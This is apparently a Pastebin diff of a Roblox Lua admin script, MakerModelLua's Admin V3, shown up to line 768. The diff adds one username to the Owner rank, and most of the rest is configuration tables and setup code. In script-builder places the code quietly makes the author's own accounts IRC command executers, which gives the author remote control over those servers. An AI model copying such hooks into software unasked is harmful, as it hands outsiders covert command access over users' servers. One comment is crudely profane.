SHOW:
|
|
- or go back to the newest paste.
1 | --[[ | |
2 | Hi! This is LuaModelMaker's Admin V3 by MakerModelLua. | |
3 | If you want to know what commands do just go into your game and say ;cmds for a list of | |
4 | commands, what they do, examples, rank needed, and more! | |
5 | Or, go to http://www.classy-studios.com/V3/Commands.php | |
6 | If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i | |
7 | ||
8 | ||
9 | TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1 | |
10 | ||
11 | --->> DO NOT EDIT THESE SETTINGS <<--- | |
12 | Well you can but it's a waste of your time. The settings are located in workspace | |
13 | in a folder called "MakerModelLua's Settings". You can also use this plugin: | |
14 | ||
15 | http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551 | |
16 | ||
17 | USE REMOTE ADMIN: | |
18 | http://www.classy-studios.com/Login/ | |
19 | Mobile: http://appsto.re/us/hEn7fb.i | |
20 | ||
21 | ||
22 | ||
23 | ...also... this is open source! No stupid shady module scripts, which means it works in studio! | |
24 | ||
25 | ]] | |
26 | ||
27 | ||
28 | ||
29 | ||
30 | ||
31 | ||
32 | ||
33 | ||
34 | ||
35 | ||
36 | ||
37 | ||
38 | ||
39 | ||
40 | ||
41 | ||
42 | ||
43 | ||
44 | ||
45 | ||
46 | ||
47 | ||
48 | ||
49 | -- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING -- | |
50 | ||
51 | ||
52 | local Settings = { | |
53 | Ranks = { | |
54 | - | ["Owner"] = {}; |
54 | + | ["Owner"] = {"firebudgy"}; |
55 | ["Admin"] = {}; | |
56 | ["Member"] = {}; | |
57 | ["Banned"] = {}; | |
58 | ["Crashed"] = {}; | |
59 | ["Muted"] = {}; | |
60 | }; | |
61 | ||
62 | Prefix = ";"; | |
63 | Bet = " "; | |
64 | MinimumAge = 0; | |
65 | ServerLocked = false; | |
66 | ColorScheme = "White"; | |
67 | TransparencyScheme = 50; | |
68 | Fun = true; | |
69 | EnableAdminMenu = true; | |
70 | EnableTaskBar = true; | |
71 | FreeAdmin = false; | |
72 | Font = "Arial"; | |
73 | ||
74 | DisableAbuse = false; | |
75 | AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"}; | |
76 | AbusableGear = {}; | |
77 | ||
78 | LinkedAccount = ""; | |
79 | DataKey = ""; | |
80 | ||
81 | ExecuteNotificationSound = 0; --177578949 | |
82 | EnableSounds = true; | |
83 | ||
84 | VIPMemberID = 0; | |
85 | VIPAdminID = 0; | |
86 | ||
87 | GroupID = 0; | |
88 | GroupBanRank = 0; | |
89 | GroupMemberRank = 0; | |
90 | GroupAdminRank = 0; | |
91 | GroupOwnerRank = 0; | |
92 | GroupRankBan = 0; | |
93 | BannedGroupIDs = {}; | |
94 | ||
95 | IRCServer = ""; | |
96 | IRCChannel = ""; | |
97 | IRCCommandExecuters = {}; | |
98 | ||
99 | TrelloToken = "" | |
100 | } | |
101 | ||
102 | local Colors = { | |
103 | ["WHITE"] = Color3.new(1,1,1); | |
104 | ["BLACK"] = Color3.new(0,0,0); | |
105 | ["GRAY"] = Color3.new(0.5,0.5,0.5); | |
106 | ["RED"] = Color3.new(1,0,0); | |
107 | ["GREEN"] = Color3.new(0,1,0); | |
108 | ["BLUE"] = Color3.new(0,0,1); | |
109 | ["YELLOW"] = Color3.new(1,1,0); | |
110 | ["PINK"] = Color3.new(1,0,1); | |
111 | ["MAGENTA"] = Color3.new(1,0,1); | |
112 | ["CYAN"] = BrickColor.new("Cyan").Color; | |
113 | ["TEAL"] = BrickColor.new("Teal").Color; | |
114 | ["BROWN"] = Color3.new(0.55,0.25,0.075); | |
115 | ["PURPLE"] = Color3.new(0.5,0,0.5); | |
116 | ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255); | |
117 | } | |
118 | ||
119 | local Server = { | |
120 | Workspace = game:GetService("Workspace"); | |
121 | Players = game:GetService("Players"); | |
122 | Lighting = game:GetService("Lighting"); | |
123 | MPS = game:GetService("MarketplaceService"); | |
124 | TS = game:GetService("TeleportService"); | |
125 | HS = game:GetService("HttpService"); | |
126 | RS = game:GetService("RunService"); | |
127 | PS = game:GetService("PointsService"); | |
128 | TestS = game:GetService("TestService"); | |
129 | IS = game:GetService("InsertService"); | |
130 | Teams = game:GetService("Teams"); | |
131 | Data = game:GetService("DataStoreService"); | |
132 | GDS = game:GetService("DataStoreService"):GetGlobalDataStore(); | |
133 | NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned | |
134 | Storage = game:GetService("ServerStorage"); | |
135 | RS = game:GetService("ReplicatedStorage"); | |
136 | AS = game:GetService("AssetService"); | |
137 | } | |
138 | ||
139 | local Icons = { | |
140 | ["Message"] = 7724351; | |
141 | ["Error"] = 94011556; | |
142 | ["Information"] = 144175130; | |
143 | ["Check"] = 132769976; | |
144 | ["Search"] = 61994930; | |
145 | ["Time"] = 136391033; | |
146 | ["Notice"] = 156507320; | |
147 | ["Sound"] = 164682936; | |
148 | ["Log"] = 70650545; | |
149 | ["Question"] = 41363872; | |
150 | ["Output"] = 11481605; | |
151 | ["Admin"] = 302470270; | |
152 | ["Lock"] = 11341626; | |
153 | ["Settings"] = 131064748; | |
154 | ["Map"] = 257119661; | |
155 | ["Plugin"] = 257097414; | |
156 | } | |
157 | ||
158 | local IRC = { | |
159 | Codes = { | |
160 | ["001"] = "RPL_WELCOME", | |
161 | ["002"] = "RPL_YOURHOST", | |
162 | ["003"] = "RPL_CREATED", | |
163 | ["004"] = "RPL_MYINFO", | |
164 | ["005"] = "RPL_ISUPPORT", | |
165 | ["250"] = "RPL_STATSCONN", | |
166 | ["251"] = "RPL_LUSERCLIENT", | |
167 | ["252"] = "RPL_LUSEROP", | |
168 | ["254"] = "RPL_LUSERCHANNELS", | |
169 | ["255"] = "RPL_LUSERME", | |
170 | ["265"] = "RPL_LOCALUSERS", | |
171 | ["266"] = "RPL_GLOBALUSERS", | |
172 | ["352"] = "RPL_WHOREPLY", | |
173 | ["371"] = "RPL_INFO", | |
174 | ["372"] = "RPL_MOTD", | |
175 | ["374"] = "RPL_ENDINFO", | |
176 | ["375"] = "RPL_MOTDSTART", | |
177 | ["376"] = "RPL_ENDOFMOTD", | |
178 | ["422"] = "ERR_NOMOTD", | |
179 | }, | |
180 | Ignore = { | |
181 | ["004"] = true, | |
182 | ["005"] = true, | |
183 | }; | |
184 | Users = {}; | |
185 | Logs = {}; | |
186 | Chats = {}; | |
187 | Forms = {}; | |
188 | MessageAdded = Instance.new("BindableEvent"); | |
189 | ||
190 | Servers = { | |
191 | ["esper.net"] = { | |
192 | BaseUrl = "http://webchat.esper.net/"; | |
193 | DynamicUrl = ""; | |
194 | }; | |
195 | ["quakenet.org"] = { | |
196 | BaseUrl = "http://webchat.quakenet.org/"; | |
197 | DynamicUrl = "dynamic/leibniz", | |
198 | }; | |
199 | ["swiftirc.net"] = { | |
200 | BaseUrl = "http://qwebirc.swiftirc.net/"; | |
201 | DynamicUrl = "", | |
202 | }; | |
203 | }; | |
204 | NickName = "rbxMMLV3_"..math.random(1,100000); | |
205 | ||
206 | SessionCounter = 0; | |
207 | Connected = false; | |
208 | Stop = false; | |
209 | SessionID = ""; | |
210 | } | |
211 | ||
212 | local RankHUD = { | |
213 | ["Muted"] = 202180094; | |
214 | ["Non-Admin"] = 202180121; | |
215 | ["Member"] = 202180052; | |
216 | ["Admin"] = 202180015; | |
217 | ["Owner"] = 202179988; | |
218 | } | |
219 | ||
220 | local TextConverter = { | |
221 | LetterSounds = { | |
222 | ["a"] = {223757826, nil}; -- 203343899 | |
223 | ["b"] = {223533700, 0.2}; -- 203344029 | |
224 | ["c"] = {223533711, nil}; -- 203343994 | |
225 | ["d"] = {223757910, nil}; -- 203398237 | |
226 | ["e"] = {223758026, nil}; -- 203398295 | |
227 | ["f"] = {223777655, nil}; -- 203398347 | |
228 | ["g"] = {223777738, nil}; -- 203398372 | |
229 | ["h"] = {223777757, nil}; -- 203398397 | |
230 | ["i"] = {223777807, nil}; -- 203398422 | |
231 | ["j"] = {223782888, nil}; -- 203398450 | |
232 | ["k"] = {223533711, nil}; -- 203343994 | |
233 | ["l"] = {223782961, 0.4}; -- 203398541 | |
234 | ["m"] = {223782992, nil}; -- 203398578 | |
235 | ["n"] = {223783063, nil}; -- 203398599 | |
236 | ["o"] = {223783184, nil}; -- 203398611 | |
237 | ["p"] = {223783235, nil}; -- 203398727 | |
238 | ["q"] = {223783260, nil}; -- 203398755 | |
239 | ["r"] = {223783305, 0.2}; -- 203398792 | |
240 | ["s"] = {223783377, nil}; -- 203398806 | |
241 | ["t"] = {223783446, nil}; -- 203398850 | |
242 | ["u"] = {223783512, nil}; -- 203398872 | |
243 | ["v"] = {223783654, nil}; -- 203398965 | |
244 | ["w"] = {223783697, nil}; -- 203398984 | |
245 | ["x"] = {223783796, nil}; -- 203399008 | |
246 | ["y"] = {223783853, nil}; -- 203399043 | |
247 | ["z"] = {223783893, nil}; -- 203399096 | |
248 | ||
249 | ["ch"] = {223784367, 0.3}; -- 203592149 | |
250 | ["th"] = {223788235, 0.3}; -- 203399215 | |
251 | ["sh"] = {223784505, 0.2}; -- 203399566 | |
252 | ["wh"] = {223784555, 0.3}; -- 203622828 | |
253 | ["oo"] = {223784456, 0.3}; -- 203399743 | |
254 | ["ing"] = {223784393, 0.3}; -- 203402836 | |
255 | }; | |
256 | ||
257 | LongVowels = { | |
258 | ["a"] = {223533687, nil}; -- 203343932 | |
259 | ["e"] = {223777620, nil}; -- 203398314 | |
260 | ["i"] = {223777855, nil}; -- 203398440 | |
261 | ["o"] = {223783212, nil}; -- 203398619 | |
262 | ["u"] = {223783572, nil}; -- 203398897 | |
263 | }; | |
264 | ||
265 | Pronounce = { | |
266 | ["0"] = "zero"; | |
267 | ["1"] = "wun"; | |
268 | ["2"] = "too"; | |
269 | ["3"] = "three"; | |
270 | ["4"] = "four"; | |
271 | ["5"] = "five"; | |
272 | ["6"] = "six"; | |
273 | ["7"] = "seven"; | |
274 | ["8"] = "eyt"; | |
275 | ["9"] = "nine"; | |
276 | ["one"] = "wun"; | |
277 | ["two"] = "too"; | |
278 | ["eight"] = "eyt"; | |
279 | ["eigh"] = "ey"; | |
280 | ["gh"] = "h"; | |
281 | ["kn"] = "n"; | |
282 | ["come"] = "cu".."m"; | |
283 | ["bye"] = "bi"; | |
284 | ["#"] = "hashtag"; | |
285 | ["@"] = "at"; | |
286 | ["&"] = "and"; | |
287 | ["*"] = "astrict"; | |
288 | ["mn"] = "m"; | |
289 | ["kn"] = "n"; | |
290 | ["ies"] = "ees"; | |
291 | }; | |
292 | ||
293 | NonEnglishRules = { | |
294 | ["to"] = "too"; | |
295 | ["you"] = "yoo"; | |
296 | ["we"] = "wee"; | |
297 | ["are"] = "erh"; | |
298 | ["your"] = "yoor"; | |
299 | ["you're"] = "yoor"; | |
300 | ["youre"] = "yoor"; | |
301 | ["pizza"] = "peetzoh"; | |
302 | ["ok"] = "okay"; | |
303 | ["have"] = "hav"; | |
304 | ["my"] = "mi"; | |
305 | ["me"] = "mee"; | |
306 | ["u"] = "yoo"; | |
307 | ["r"] = "erh"; | |
308 | ["move"] = "moov"; | |
309 | ["dove"] = "duv"; | |
310 | ["debris"] = "debree"; | |
311 | ["do"] = "doo"; | |
312 | } | |
313 | } | |
314 | ||
315 | local HTMLDecode = { | |
316 | ["35"] = "#"; | |
317 | ["36"] = "$"; | |
318 | ["37"] = "%%"; | |
319 | ["38"] = "*"; | |
320 | ["39"] = "'"; | |
321 | ["58"] = ":"; | |
322 | ["59"] = ";"; | |
323 | ["60"] = "<"; | |
324 | ["62"] = ">"; | |
325 | } | |
326 | ||
327 | ||
328 | local Assets = { | |
329 | Packages = { | |
330 | [27112438] = {27112025,27112039,27112052,27112056,27112068}; | |
331 | [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147}; | |
332 | [77518833] = {77518564,77518616,77518654,77518696,77518737}; | |
333 | [32336368] = {32336059,32336117,32336182,32336243,32336306}; | |
334 | [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671}; | |
335 | [54116460] = {54116290,54116338,54116373,54116394,54116432}; | |
336 | [39977366] = {39976703,39976829,39976927,39977192,39977295}; | |
337 | [32357766] = {32357663,32357631,32357619,32357584,32357558}; | |
338 | [27123973] = {27121265,27121306,27121353,27121393,27121432}; | |
339 | [55717536] = {55717271,55717330,55717388,55717434,55717491}; | |
340 | [28279963] = {28279160,28279217,28279859,28279894,28279938}; | |
341 | [27403592] = {27402580,27402546,27402641,27402714,27402742}; | |
342 | [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766}; | |
343 | [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425}; | |
344 | [48474394] = {48474356,48474294}; | |
345 | [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534}; | |
346 | [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426}; | |
347 | [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771}; | |
348 | [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823}; | |
349 | [33378577] = {33378366,33378438,33378484,33378522,33378540}; | |
350 | [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371}; | |
351 | [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130}; | |
352 | [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118}; | |
353 | [41851073] = {41850825,41850868,41850915,41851009,41850959} | |
354 | }; | |
355 | AssetTypes = { | |
356 | [0] = "Product"; | |
357 | [1] = "Image"; | |
358 | [2] = "T-Shirt"; | |
359 | [3] = "Audio"; | |
360 | [4] = "Mesh"; | |
361 | [5] = "Lua"; | |
362 | [6] = "HTML"; | |
363 | [7] = "Text"; | |
364 | [8] = "Hat"; | |
365 | [9] = "Place"; | |
366 | [10] = "Model"; | |
367 | [11] = "Shirt"; | |
368 | [12] = "Pants"; | |
369 | [13] = "Decal"; | |
370 | [16] = "Avatar"; | |
371 | [17] = "Head"; | |
372 | [18] = "Face"; | |
373 | [19] = "Gear"; | |
374 | [21] = "Badge"; | |
375 | [22] = "Group Emblem"; | |
376 | [24] = "Animation"; | |
377 | [25] = "Arms"; | |
378 | [26] = "Legs"; | |
379 | [27] = "Torso"; | |
380 | [28] = "Right Arm"; | |
381 | [29] = "Left Arm"; | |
382 | [30] = "Left Leg"; | |
383 | [31] = "Right Leg"; | |
384 | [32] = "Package"; | |
385 | [33] = "YouTube Video"; | |
386 | [34] = "Game Pass"; | |
387 | [38] = "Plugin"; | |
388 | [39] = "SolidModel"; | |
389 | [40] = "MeshPart"; | |
390 | [41] = "Hair Accessory"; | |
391 | [42] = "Face Accessory"; | |
392 | [43] = "Neck Accessory"; | |
393 | [44] = "Shoulder Accessory"; | |
394 | [45] = "Front Accessory"; | |
395 | [46] = "Back Accessory"; | |
396 | }; | |
397 | AccessoryTypes = { | |
398 | ["all"] = 19; | |
399 | ["hats"] = 9; | |
400 | ["hair"] = 20; | |
401 | ["face"] = 21; | |
402 | ["neck"] = 22; | |
403 | ["shoulder"] = 23; | |
404 | ["front"] = 24; | |
405 | ["back"] = 25; | |
406 | ["waist"] = 26; | |
407 | }; | |
408 | } | |
409 | ||
410 | local CharacterCache = { | |
411 | {"MakerModelLua", 38837082}; | |
412 | {"LuaModelMaker", 20920633}; | |
413 | {"builderman", 156}; | |
414 | {"Shedletsky", 261}; | |
415 | {"Telamon", 13645}; | |
416 | {"ROBLOX", 1}; | |
417 | } | |
418 | ||
419 | local FaceCovert = { | |
420 | Left = "xpos"; | |
421 | Right = "xneg"; | |
422 | Front = "zpos"; | |
423 | Back = "zneg"; | |
424 | Top = "ypos"; | |
425 | Bottom = "yneg"; | |
426 | } | |
427 | ||
428 | local Meshes = { | |
429 | ["crown"] = {1, 1078075}; | |
430 | ["king"] = {1, 11419761}; | |
431 | ["teapot"] = {0.03, 1029523}; | |
432 | ["apple"] = {2.5, 16190555}; | |
433 | ["potato"] = {1, 25268275}; | |
434 | ["panda"] = {0.5, 20709221}; | |
435 | ["dominus"] = {0.5, 21057410}; | |
436 | ["fedora"] = {0.75, 13640868}; | |
437 | ["noob"] = {1, 20929341}; | |
438 | ["knife"] = {0.3, 121944778}; | |
439 | ["book"] = {0.3, 1136139}; | |
440 | } | |
441 | ||
442 | local NotifySounds = { | |
443 | ["Hover"] = 223134269; | |
444 | ["Select"] = 292141227; | |
445 | } | |
446 | ||
447 | local Trello = { | |
448 | TrelloInfoCard = "x1rUtwEj"; | |
449 | MainBoard = {}; | |
450 | RequiredLists = {}; | |
451 | RankChecklistCache = {}; | |
452 | ToggleChecklist = nil; | |
453 | CommandID = nil; | |
454 | LastCommandDT = 0; | |
455 | AdminBoardID = "577ea1b21cb7975666524f26"; | |
456 | RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf"; | |
457 | RemoteDataCard = "dLtMo1en" | |
458 | } | |
459 | ||
460 | local ScriptBuilders = { | |
461 | [260897989] = "MML's"; | |
462 | [21053279] = "Anti's pub"; | |
463 | [21053219] = "Anti's pri"; | |
464 | [20279777] = "Void's 1"; | |
465 | [437965235] = "Void's 2"; | |
466 | [227015991] = "Vox's"; | |
467 | [210101277] = "Master's"; | |
468 | [531937877] = "Bleu pigs"; | |
469 | [519251450] = "Game's"; | |
470 | } | |
471 | ||
472 | -- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;) | |
473 | -- Why else would I NOT have put it in a module?!?!? | |
474 | ||
475 | local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"} | |
476 | ||
477 | local SoundList,GlobalSoundList = {},{} | |
478 | local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages | |
479 | local TempChatLogs = {} | |
480 | local ToolRegions = {Server.Lighting, Server.RS, Server.Storage} | |
481 | local NoSpeak = false | |
482 | ||
483 | local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{} | |
484 | local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false} | |
485 | ||
486 | local ChatLogs,CommandLogs = {},{} | |
487 | local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{} | |
488 | local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")} | |
489 | local Dispose,Jails,PermCommandBars = {},{},{} | |
490 | local Waypoints = {["Center"] = Vector3.new(0,0,0)} | |
491 | local Objects = {} | |
492 | local Sound = nil | |
493 | local ModLighting = false | |
494 | local DataReady = true | |
495 | local RemoteAbuseGear = {} | |
496 | ||
497 | local GameOwner = "[ Client ]" | |
498 | local PlaceName = "Unknown" | |
499 | local PlaceInfo = {} | |
500 | local IsStudio = false | |
501 | local IsSB = false | |
502 | local Date = nil | |
503 | local Fonts = {} | |
504 | local PendingRequests = {} | |
505 | local F3X = script:FindFirstChild("F3X Tools") | |
506 | local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true) | |
507 | local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10} | |
508 | local KeyBinds = {} | |
509 | local Crowns = {} | |
510 | local LastKeys = {} | |
511 | local Cars = {} | |
512 | local StringReplacements = {} | |
513 | local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"} | |
514 | local NoBet = {"/", "-", "(", ")", ""} | |
515 | local ShouldFilter = true | |
516 | ||
517 | local CrownStorage = script:FindFirstChild("CrownStorage") | |
518 | if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end | |
519 | ||
520 | -- import old settings just in case -- | |
521 | local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true) | |
522 | if OldSettings then | |
523 | OldSettings = require(OldSettings) | |
524 | ||
525 | for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do | |
526 | Settings[ValName] = OldSettings[ValName] | |
527 | end | |
528 | Settings.GroupBanRank = OldSettings.RankBan | |
529 | Settings.Fun = OldSettings.FUN | |
530 | end | |
531 | ||
532 | if F3X then | |
533 | F3X = F3X:Clone() | |
534 | F3X.Handle.Anchored = false | |
535 | script:FindFirstChild("F3X Tools"):Destroy() | |
536 | end | |
537 | ||
538 | wait(0.1) | |
539 | ||
540 | local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true) | |
541 | -- tries to defualt to server storage, just in case an exploiter makes their own settings. | |
542 | ||
543 | if SettingsValues then | |
544 | SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc | |
545 | if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then | |
546 | for _,Value in pairs(SettingsValues:GetChildren()) do | |
547 | if Settings[Value.Name] ~= nil then | |
548 | if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks | |
549 | for _,NewValue in pairs(Value:GetChildren()) do | |
550 | if ypcall(function() return NewValue.Value end) then | |
551 | if Settings[Value.Name][NewValue.Name] then | |
552 | local Val = NewValue.Value | |
553 | if type(Settings[Value.Name][NewValue.Name]) == "table" then | |
554 | Val = {} | |
555 | for Word in string.gmatch(NewValue.Value, "[%w_]+") do | |
556 | table.insert(Val, Word) | |
557 | end | |
558 | end | |
559 | Settings[Value.Name][NewValue.Name] = Val | |
560 | end | |
561 | end | |
562 | end | |
563 | else | |
564 | if Settings[Value.Name] ~= nil then | |
565 | local Val = Value.Value | |
566 | if type(Settings[Value.Name]) == "table" then | |
567 | Val = {} | |
568 | for Word in string.gmatch(Value.Value, "%w+") do | |
569 | table.insert(Val, Word) | |
570 | end | |
571 | end | |
572 | Settings[Value.Name] = Val | |
573 | end | |
574 | end | |
575 | end | |
576 | end | |
577 | end | |
578 | end | |
579 | ||
580 | if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then | |
581 | Settings.LinkedAccount = "" | |
582 | elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then | |
583 | Settings.LinkedAccount = "Admin" | |
584 | end | |
585 | ||
586 | local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script | |
587 | local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script | |
588 | ||
589 | wait(1) | |
590 | ||
591 | local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true) | |
592 | ||
593 | if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end | |
594 | ||
595 | if not IsStudio then | |
596 | Server.NS = game:GetService("NetworkServer") | |
597 | script.Name = "Maker".."Mo".."delLua's Admin" | |
598 | end | |
599 | ||
600 | if game.PlaceId > 0 then | |
601 | PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId) | |
602 | PlaceName = PlaceInfo.Name | |
603 | end | |
604 | ||
605 | local function GetGameOwner() | |
606 | if PlaceInfo.Creator.CreatorType == "Group" then | |
607 | GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name | |
608 | print("MML's Admin: Found group owner for game: "..GameOwner) | |
609 | elseif PlaceInfo.Creator.CreatorType == "User" then | |
610 | GameOwner = PlaceInfo.Creator.Name | |
611 | print("MML's Admin: Found game owner: "..GameOwner) | |
612 | else | |
613 | ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end) | |
614 | end | |
615 | end | |
616 | ||
617 | if string.byte(string.sub(PlaceName,1,1)) == 226 then | |
618 | PlaceName = string.sub(PlaceName,4,#PlaceName) | |
619 | end | |
620 | for i = 1,5 do | |
621 | if GameOwner == "[ Client ]" then | |
622 | print("MML's Admin: Attempting to establish owner's name #"..i) | |
623 | GetGameOwner() | |
624 | wait(1) | |
625 | end | |
626 | end | |
627 | ||
628 | if ScriptBuilders[PlaceID] or NLS then | |
629 | IsSB = true | |
630 | end | |
631 | ||
632 | if IsSB then | |
633 | ShouldFilter = false | |
634 | Settings.IRCServer = "swiftirc.net"; | |
635 | Settings.IRCChannel = "#PkamaraSB"; | |
636 | Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"} | |
637 | if Settings.TrelloToken == "" then | |
638 | Settings.LinkedAccount = "ScriptBuilder" | |
639 | end | |
640 | if Settings.DataKey == "" then coroutine.wrap(function() | |
641 | repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey") | |
642 | local Key = Server.Storage:FindFirstChild("MML DataKey") | |
643 | print("Found key: "..Key.Value) | |
644 | Settings.DataKey = Key.Value | |
645 | Key:Destroy() | |
646 | end)() end | |
647 | end | |
648 | local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}" | |
649 | table.insert(Settings.Ranks["Owner"], GameOwner) | |
650 | ||
651 | for _,Font in pairs(Enum.Font:GetEnumItems()) do | |
652 | Fonts[Font.Name] = Font | |
653 | end | |
654 | ||
655 | local LogClient = script:FindFirstChild("AddClientInfo") | |
656 | if LogClient then LogClient:Destroy() end | |
657 | LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo" | |
658 | LogClient.OnServerInvoke = function(Player, Info) | |
659 | if Info then | |
660 | for Key,Data in pairs(Info) do | |
661 | ClientInfo[Player.Name][Key] = Data | |
662 | end | |
663 | end | |
664 | end | |
665 | ||
666 | local function MakeFunction(Type, Name) | |
667 | local Func = script:FindFirstChild(Name) | |
668 | if Func then Func:Destroy() end | |
669 | Func = Instance.new(Type, script) Func.Name = Name | |
670 | ||
671 | getfenv()[Name] = Func | |
672 | return Func | |
673 | end | |
674 | ||
675 | MakeFunction("BindableFunction", "ExecuteCommand") | |
676 | MakeFunction("RemoteFunction", "ExecuteCommandClient") | |
677 | MakeFunction("BindableFunction", "ExecuteCode") | |
678 | ||
679 | MakeFunction("RemoteFunction", "IsAdmin") | |
680 | MakeFunction("RemoteFunction", "AddExploit") | |
681 | MakeFunction("BindableFunction", "AddExploitServer") | |
682 | MakeFunction("RemoteFunction", "KickClient") | |
683 | MakeFunction("RemoteFunction", "ConvertTextToSound") | |
684 | ||
685 | MakeFunction("RemoteFunction", "KeyPressed") | |
686 | MakeFunction("RemoteFunction", "InputKey") | |
687 | ||
688 | MakeFunction("RemoteFunction", "RankPlayerLocal") | |
689 | MakeFunction("BindableFunction", "RankPlayerServer") | |
690 | ||
691 | --[[ | |
692 | if NLS then | |
693 | local Value = script:FindFirstChild("Override") | |
694 | LogClient.Parent = game | |
695 | if not Value then | |
696 | local Value = Instance.new("BoolValue", script) Value.Name = "Override" | |
697 | local CloneScript = script:Clone() | |
698 | CloneScript.Disabled = true | |
699 | CloneScript.Parent = game:FindFirstChild("ServerScriptService") | |
700 | CloneScript.Disabled = false | |
701 | CloneScript.Parent = nil | |
702 | ||
703 | script:Destroy() script.Disabled = true | |
704 | end | |
705 | end | |
706 | ]] | |
707 | ||
708 | if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end | |
709 | ||
710 | IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port | |
711 | ||
712 | -- Core functions -- | |
713 | ||
714 | function CORE:FixSettings() | |
715 | for _,Bet in pairs(NoBet) do | |
716 | if Settings.Bet == Bet then | |
717 | Settings.Bet = " " | |
718 | break | |
719 | end | |
720 | end | |
721 | CORE:ChangeBet(Settings.Bet) | |
722 | ||
723 | if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end | |
724 | if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end | |
725 | ||
726 | if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end | |
727 | if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end | |
728 | Settings.TransparencyScheme = Settings.TransparencyScheme/100 | |
729 | ||
730 | if not Fonts[Settings.Font] then | |
731 | Settings.Font = "Arial" | |
732 | end | |
733 | end | |
734 | ||
735 | function CORE:NilPlayer(Player) | |
736 | if Player == nil or type(Player) == "table" then return true else return false end | |
737 | end | |
738 | ||
739 | function CORE:ExecuteResource(ResourceName, Parent, Data) | |
740 | local ReturnScript = nil | |
741 | local Executed = true | |
742 | if script:FindFirstChild("Resources") then | |
743 | local RawResource = script.Resources:FindFirstChild(ResourceName) | |
744 | if RawResource then | |
745 | local Resource = RawResource:Clone() | |
746 | Resource.Disabled = true | |
747 | Resource.Parent = Parent | |
748 | if Data then | |
749 | for Key,Value in pairs(Data) do | |
750 | if Resource[Key] then | |
751 | Resource[Key].Value = Value | |
752 | end | |
753 | end | |
754 | end | |
755 | wait() | |
756 | Resource.Disabled = false | |
757 | ReturnScript = Resource | |
758 | else | |
759 | Executed = false | |
760 | end | |
761 | else | |
762 | Executed = false | |
763 | end | |
764 | if Executed == false then | |
765 | if not Data then Data = {} end | |
766 | local Source = ScriptCache[ResourceName] | |
767 | ||
768 | if not Source then | |
